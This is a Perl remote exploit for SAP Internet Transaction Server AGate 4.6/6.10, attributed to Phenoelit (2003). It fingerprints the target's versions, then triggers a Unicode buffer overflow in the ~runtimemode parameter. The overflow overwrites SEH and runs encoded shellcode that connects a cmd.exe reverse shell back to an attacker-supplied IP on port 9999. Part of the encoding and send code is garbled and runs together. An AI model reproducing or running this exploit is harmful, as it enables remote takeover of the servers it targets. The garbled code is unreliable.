#!/usr/bin/perl -w use IO::Socket; # # SAP Internet Transaction Server 4.6/6.10 AGate remote exploit # - buffer overflow in ~runtimemode variable (UNICODE) # # FX of Phenoelit # Dec 2003 # $|=1; if ($#ARGV != 2) { print "Usage: $0 \n"; exit 1; } else { ($host,$port,$myself)=@ARGV; } print " * * * SAP ITS AGate 4.6/6.1 remote * * *\n". " --==]] Phenoelit - http://www.phenoelit.de/whatSAP/ [[==--\n". " by FX - 2003\n\n"; &getintel($host,$port); if (!defined($versions{"librfc32.dll"})) { print "WARNING: Intelligence gathering not possible!\n"; if (defined($ITSversion) && defined($ITSbuild)) { print "ITS ",$ITSversion," - Build ",$ITSbuild,"\n"; } else { print "EXTRA WARNING: Even unable to get ITS version!\n"; } } else { print "ITS ",$ITSversion," - Build ",$ITSbuild,"\n"; print "Remote librfc32.dll version is ".$versions{"librfc32.dll"}, ", exploit for 6100.5.320.3439 ...\n"; } print "Press [ENTER] to perform exploitation or CTRL-C to abort!\n"; ; print "NOTE: The shell code will take 30sec or more to complete. Stand by...\n"; $URI="/scripts/wgate/systeminfo/!?"; # # Halvar connect back shellcode # $myself=~/([0-9]+)\.([0-9]+)\.([0-9]+)\.([0-9]+)/; $conback=sprintf("%c%c%c%c",$1,$2,$3,$4); printf("Connecting back to %d.%d.%d.%d:9999\n",$1,$2,$3,$4); $extra = "\xeb\x25\x27\x0f". $conback. "\x02\x06\x6c\x59\x6c\x59\xf8\x1d". "\x9c\xde\x8c\xd1\x4c\x70\xd4\x03\x58\x46\x57\x53\x32\x5f\x33\x32". "\x2e\x44\x4c\x4c\x01\xeb\x05\xe8\xf9\xff\xff\xff\x5d\x83\xed\x2c". "\x6a\x30\x59\x64\x8b\x01\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x78\x08". "\x8d\x5f\x3c\x8b\x1b\x01\xfb\x8b\x5b\x78\x01\xfb\x8b\x4b\x1c\x01". "\xf9\x8b\x53\x24\x01\xfa\x53\x51\x52\x8b\x5b\x20\x01\xfb\x31\xc9". "\x41\x31\xc0\x99\x8b\x34\x8b\x01\xfe\xac\x31\xc2\xd1\xe2\x84\xc0". "\x75\xf7\x0f\xb6\x45\x09\x8d\x44\x45\x08\x66\x39\x10\x75\xe1\x66". "\x31\x10\x5a\x58\x5e\x56\x50\x52\x2b\x4e\x10\x41\x0f\xb7\x0c\x4a". "\x8b\x04\x88\x01\xf8\x0f\xb6\x4d\x09\x89\x44\x8d\xd8\xfe\x4d\x09". "\x75\xbe\xfe\x4d\x08\x74\x17\xfe\x4d\x24\x8d\x5d\x1a\x53\xff\xd0". "\x89\xc7\x6a\x02\x58\x88\x45\x09\x80\x45\x79\x0c\xeb\x82\x89\xce". "\x31\xdb\x53\x53\x53\x53\x56\x46\x56\xff\xd0\x89\xc7\x55\x58\x66". "\x89\x30\x6a\x10\x55\x57\xff\x55\xe0\x8d\x45\x88\x50\xff\x55\xe8". "\x55\x55\xff\x55\xec\x8d\x44\x05\x0c\x94\x53\x68\x2e\x65\x78\x65". "\x68\x5c\x63\x6d\x64\x94\x31\xd2\x8d\x45\xcc\x94\x57\x57\x57\x53". "\x53\xfe\xca\x01\xf2\x52\x94\x8d\x45\x78\x50\x8d\x45\x88\x50\xb1". "\x08\x53\x53\x6a\x10\xfe\xce\x52\x53\x53\x53\x55\xff\x55\xf0\x6a". "\xff\xff\x55\xe4". ""; # # Venetian UNICODE shellcode # $shellcode = "\x05\x05\x01\x6F\x2D\x01\x01\x6F\x40\x6F\xC6\x81\x6F\xFE\xFE\xFE". "\xFE\xFE\xFE\xFE\xFE\xFE\xFE\x40\x6F\x40\x6F\xC6\x24\x6F\x40\x6F". "\x40\x6F\xC6\x64\x6F\x40\x6F\x40\x6F\xC6\x05\x6F\x40\x6F\xFE\x40". "\x6F\x40\x6F\xFE\x40\x6F\x40\x6F\x40\x6F\xC6\xC4\x6F\x40\x6F\x40". "\x6F\x40\x6F\xFE\x40\x6F\x40\x6F\x40\x6F\x40\x6F\xFE\x40\x6F\x40". "\x6F\xFE\x40\x6F\xC6\x5D\x6F\x40\x6F\xFE\xFE\xFE\xFE\xFE\xFE\xFE". "\xFE\x40\x6F\xC6\xEB\x6F\x40\x6F\x40\x6F\xC6\xC3\x6F\x40\x6F\x40". "\x6F\x40\x6F\xFE\x40\x6F\x40\x6F\x40\x6F\xC6\xEB\x6F\x40\x6F\x40". "\x6F\x40\x6F\xFE\x40\x6F\x40\x6F\x40\x6F\x40\x6F\xFE\x40\x6F\xC6". "\x01\x6F\x40\x6F\xFE\x40\x6F\xC6\x60\x6F\x40\x6F\x40\x6F\xC6\x64". "\x6F\x40\x6F\x40\x6F\xC6\x35\x6F\x40\x6F\xFE\x40\x6F\x40\x6F\xFE". "\x40\x6F\x40\x6F\x40\x6F\xC6\x81\x6F\xFE\xFE\xFE\xFE\xFE\xFE\xFE". "\xFE\x40\x6F\x40\x6F\x40\x6F\xFE\x40\x6F\x40\x6F\xFE\x40\x6F\xC6". "\x81\x6F\xFE\xFE\xFE\xFE\xFE\xFE\xFE\xFE\x40\x6F\x40\x6F\xC6\x81". "\x6F\x40\x6F\x40\x6F\xC6\x65\x6F\x40\x6F\x40\x6F\xC6\x31\x6F\x40". "\x6F\x40\x6F\xC6\x74\x6F\x40\x6F\x40\x6F\xC6\x46\x6F\x40\x6F\x40". "\x6F\xC6\xF5\x6F\x40\x6F\x40\x6F\xC6\x46\x6F\x40\x6F\x40\x6F\xC6". "\x46\x6F\x40\x6F\x40\x6F\xC6\xE6\x6F\x40\x6F\xFE\xFE\xFE\xFE\xFE". "\xFE\xFE\xFE\xFE\xFE\x40\x6F\xC6\x64\x6F\x40\x6F\x40\x6F\xC6\x08". "\x6F\x40\x6F\x40\x6F\xC6\x8F\x6F\x40\x6F\x40\x6F\x40\x6F\xFE\x40". "\x6F\x40\x6F\xFE\x40\x6F\xC6\x81\x6F\x40\x6F\x40\x6F\xC6\x04\x6F". "\x40\x6F\xFE\x40\x6F\x40\x6F\xFE\x40\x6F\xC6\x61\x6F\x40\x6F\x40". "\x6F\xC6\xC7\x6F\x40\x6F\xFE\x40\x6F\xC6\x10\x6F\x40\x6F\xFE\x40". "\x6F\x40\x6F\x40\x6F\xC6\xE7\x6F\x40\x6F\xFE\x40\x6F\xC6\xF0\x6F". "\x40\x6F\x40\x6F\xC6\xFF\x6F\x40\x6F\x40\x6F\xC6\xBD\x6F\x40\x6F". "\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04". "\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04". "\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04". "\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04". "\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04". "\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04". "\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04". "\x5B\x64\x18\x8F\xFF\xFF\x81\x04\xFF\xE8\xFF\xFF\x81\x81\x4E\xFF". "\x81\x17\xFF\xBF\xFF\xFF\x53\xFF\xFF\xFF\x64\x25\xFF\xFF\xFE\x3E". "\x6C\x74\x03\xEB\x46\x46\xFF\x81\x24\x64\x05\xFF\xFF\xC4\xFF\xFF". "\x81\xFF\xFF\x81\xFF\xFF\xEB". ""; print "Halvar shellcode size : ",length($extra),"\n"; print "Unicode shellcode size: ",length($shellcode),"\n"; $va.="B" x 970; # before the overflow, not really usefull due to # interference in memory :( $va.="AA"; # the return address, no joke ! $va.="O" x 130; # Additional overflow, required to reach SEH # # Weired instructions, align the code and make sure the return address is # not interpreted as code (\x81 does this) # $va.="\xb3"; # Mov BL,0 $va.="\x81"; # Add DWORD PTR DS:[EAX],00420153 $va.="\x9c\x42"; # Return address, CALL EBX # # Here, the shellcode starts ! # $va .= "\x05\x07\x01". # ADD EAX,0x01000700 "\x4f". # realign "\x2D\x01\x01". # SUB EAX,0x01000100 "\x4f". # realign ""; # # Pad to segment boundary, then pad to unicode shellcode # $va .= "\x04"x60; # Reaches segment boundary at 0x05D20000 $va .= "\x04"x104; # Reaches unicode shellcode at 0x05D200D0 # # Run unicode shellcode with EAX pointing to it # $va .= $shellcode; # # Encode everything # $final=""; for ( $i = 0; $inew(Proto=>"tcp",PeerAddr=>$dest,PeerPort=>"$port",); unless ($remote) { die "cannot connect to http daemon on $dest" } $remote->autoflush(1); print $remote $request; $res=""; while ( $rline=<$remote> ) { print $rline; } close $remote; return $res; } sub getintel { my $URI; my $request; my $remote; my $host; my $port; my $result; my @t1; my @t2; my $flag; my $i; my $j; ($host,$port) = @_; %versions=(); $URI="/scripts/wgate/?~command=AgateInstallCheck"; $request = "GET ".$URI." HTTP/1.0\r\n". "Host: ".$host."\r\n". "Pragma: no-cache\r\n". "Cache-Control: no-cache\r\n". "\r\n"; $remote = IO::Socket::INET->new( Proto=>"tcp", PeerAddr=>$host, PeerPort=>"$port"); $remote->autoflush(1); print $remote $request; $result=""; while (<$remote>) { $result.=$_; } close $remote; # # now, analyze what we got # $result=~/ITS, Version ([^,]+), Build ([^,]+),/; $ITSversion=$1; $ITSbuild=$2; @t1=split(/\/,$result); $flag=0; for ($i=0;$i<$#t1;$i++) { if (1 == $flag) { @t2=split(/\<\/?b\>/i,$t1[$i]); $t2[5]=~s/\s//g; $t2[1]=~s/([A-Z])/lc($1)/eg; $versions{$t2[1]}=$t2[5]; } # set flag if ($t1[$i]=~/\Filename\<\/b\>/) { $flag=1; } } }